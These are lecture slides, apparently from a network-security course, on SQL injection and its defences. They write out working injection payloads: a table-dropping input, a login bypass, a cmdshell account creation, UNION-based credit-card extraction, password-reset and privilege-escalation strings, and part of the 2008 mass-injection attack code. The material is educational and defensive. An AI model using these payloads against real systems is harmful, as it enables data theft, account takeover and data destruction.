Bài giảng An ninh mạng - Chương 10: SQL Injection - Trần Trung Dũng

Nội dung text: Bài giảng An ninh mạng - Chương 10: SQL Injection - Trần Trung Dũng

1. SQL Injection
2. SQL • Widely used database query language • Fetch a set of records SELECT * FROM Person WHERE Username=‘Vitaly’ • Add data to the table INSERT INTO Key (Username, Key) VALUES (‘Vitaly’, 3611BBFF) • Modify data UPDATE Keys SET Key=FA33452D WHERE PersonID=5 • Query syntax (mostly) independent of vendor slide 2
3. Sample Code from Project 1 • Sample PHP $selecteduser = $_GET['user']; $sql = "SELECT Username, Key FROM Key " . "WHERE Username='$selecteduser'"; $rs = $db->executeQuery($sql); • What if ‘user’ is a malicious string that changes the meaning of the query? slide 3
4. SQL Injection: Basic Idea Victim server Attacker 1 2 3 receive valuable data unintended query  This is an input validation vulnerability Unsanitized user input in SQL query to back- end database changes the meaning of query  Specific case of more general command injection Victim SQL DB slide 4
5. Typical Login Prompt slide 5
6. User Input Becomes Part of Query Enter SELECT passwd Username FROM USERS & WHERE uname Web Password Web IS ‘$user’ browser DB server (Client) slide 6
7. Normal Login Enter SELECT passwd Username FROM USERS & WHERE uname Web Password Web IS ‘smith’ browser DB server (Client) slide 7
8. Malicious User Input slide 8
9. SQL Injection Attack SELECT passwd Enter FROM USERS Username WHERE uname & IS ‘’; DROP TABLE Web Password Web USERS; ` browser DB server (Client) Eliminates all user accounts slide 9
10. Exploits of a Mom slide 10
11. Authentication with Back-End DB • set UserFound=execute( “SELECT * FROM UserTable WHERE username=‘ ” & form(“user”) & “ ′ AND password= ‘ ” & form(“pwd”) & “ ′ ” ); – User supplies username and password, this SQL query checks if user/password combination is in the database • If not UserFound.EOF Only true if the result of SQL query is not empty, i.e., Authentication correct user/pwd is in the database else Fail slide 11
12. Using SQL Injection to Steal Data • User gives username ′ OR 1=1 • Web server executes query set UserFound=execute( SELECT * FROM UserTable WHERE username=‘ ′ OR 1=1 ); Always true! Everything after is ignored! – Now all records match the query • This returns the entire database! slide 12
13. Another SQL Injection Example *From “The Art of Intrusion”+ • To authenticate logins, server runs this SQL command against the user database: SELECT * WHERE user=‘name’ AND pwd=‘passwd’ • User enters ’ OR WHERE pwd LIKE `% as both name and passwd Wildcard matches any password • Server executes SELECT * WHERE user=‘’ OR WHERE pwd LIKE `%’ AND pwd=‘’ OR WHERE pwd LIKE `%’ • Logs in with the credentials of the first person in the database (typically, administrator!) slide 13
14. It Gets Better • User gives username ′ exec cmdshell ’net user badguy badpwd’ / ADD • Web server executes query set UserFound=execute( SELECT * FROM UserTable WHERE username=‘ ′ exec ); • Creates an account for badguy on DB server slide 14
15. Pull Data From Other Databases • User gives username ’ AND 1=0 UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards • Results of two queries are combined • Empty table from the first query is displayed together with the entire contents of the credit card database slide 15
16. More Attacks • Create new users ’; INSERT INTO USERS (‘uname’,‘passwd’,‘salt’) VALUES (‘hacker’,‘38a74f’, 3234); • Password reset ’; UPDATE USERS SET email=hcker@root.org WHERE email=victim@yahoo.com slide 16
17. Uninitialized Inputs Creates a password with 8 /* php-files/lostpassword.php */ random characters, assuming for ($i=0; $i<=7; $i++) $new_pass is set to NULL $new_pass .= chr(rand(97,122)) $result = dbquery(“UPDATE ”.$db_prefix.“users SET user_password=md5(‘$new_pass’) WHERE user_id=‘”.$data*‘user_id’+.“ ’ ”); SQL query setting password in the DB In normal execution, this becomes UPDATE users SET user_password=md5(‘????????’) WHERE user_id=‘userid’ slide 17
18. Exploit User appends this to the URL: &new_pass=badPwd%27%29%2c user_level=%27103%27%2cuser_aim=%28%27 This sets $new_pass to badPwd’), user_level=‘103’, user_aim=(‘ SQL query becomes UPDATE users SET user_password=md5(‘badPwd’) user_level=‘103’, user_aim=(‘????????’) WHERE user_id=‘userid’ User’s password is set to ‘badPwd’ with superuser privileges slide 18
19. Second-Order SQL Injection • Second-order SQL injection: data stored in database is later used to conduct SQL injection • For example, user manages to set uname to admin' – This vulnerability could exist if string escaping is applied inconsistently (e.g., strings not escaped) – UPDATE USERS SET passwd='cracked' WHERE uname='admin' –’ • Solution: treat all parameters as dangerous slide 19
20. SQL Injection in the Real World (1) • Oklahoma Department of Corrections divulges thousands of social security numbers (2008) – Sexual and Violent Offender Registry for Oklahoma – Data repository lists both offenders and employees • “Anyone with a web browser and the knowledge from Chapter One of SQL For Dummies could have easily accessed – and possibly, changed – any data within the DOC's databases" 45-35 slide 20
21. SQL Injection in the Real World (2) • Ohio State University has the largest enrolment of students in the United States; it also seems to be vying to get the largest number of entries, so far eight, in the Privacy Rights Clearinghouse breach database . One of the more recent attacks that took place on the 31st of March 2007 involved a SQL injection attack originating from China against a server in the Office of Research. The hacker was able to access 14,000 records of current and former staff members. 24-21 slide 21
22. CardSystems Attack (June 2005) • CardSystems was a major credit card processing company • Put out of business by a SQL injection attack – Credit card numbers stored unencrypted – Data on 263,000 accounts stolen – 43 million identities exposed slide 22
23. Attack on Microsoft IIS (April 2008) slide 23
24. Main Steps in April 2008 Attack • Use Google to find sites using a particular ASP style vulnerable to SQL injection • Use SQL injection to modify the pages to include a link to a Chinese site nihaorr1.com – Do not visit that site – it serves JavaScript that exploits vulnerabilities in IE, RealPlayer, QQ Instant Messenger • Attack used automatic tool; can be configured to inject whatever you like into vulnerable sites • There is some evidence that hackers may get paid for each victim’s visit to nihaorr1.com slide 24
25. Part of the SQL Attack String DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update *'+@T+'+ set *'+@C+'+=rtrim(convert(varchar,*'+@C+'+))+'‘ ''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor; DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST( %20AS%20NVARCHAR(4000));EXEC(@S); slide 25
26. Preventing SQL Injection • Input validation – Filter • Apostrophes, semicolons, percent symbols, hyphens, underscores, • Any character that has special meanings – Check the data type (e.g., make sure it’s an integer) • Whitelisting – Blacklisting “bad” characters doesn’t work • Forget to filter out some characters • Could prevent valid input (e.g., last name O’Brien) – Allow only well-defined set of safe values • Set implicitly defined through regular expressions slide 26
27. Escaping Quotes • For valid string inputs use escape characters to prevent the quote becoming part of the query – Example: escape(o’connor) = o’’connor – Convert ’ into \’ – Only works for string inputs – Different databases have different rules for escaping slide 27
28. Prepared Statements • Metacharacters (e.g. ’) in queries provide distinction between data and control • In most injection attacks data are interpreted as control – this changes the semantics of a query or a command • Bind variables: ? placeholders guaranteed to be data (not control) • Prepared statements allow creation of static queries with bind variables → preserves the structure of intended query slide 28
29. Prepared Statement: Example PreparedStatement ps = db.prepareStatement("SELECT pizza, toppings, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=?"); ps.setInt(1, session.getCurrentUserId()); ps.setInt(2, Integer.parseInt(request.getParamenter("month"))); ResultSet res = ps.executeQuery(); Bind variable: data placeholder • Query parsed without parameters • Bind variables are typed (int, string, ) slide 29
30. Mitigating Impact of Attack • Prevent leakage of database schema and other information • Limit privileges (defense in depth) • Encrypt sensitive data stored in database • Harden DB server and host OS • Apply input validation slide 30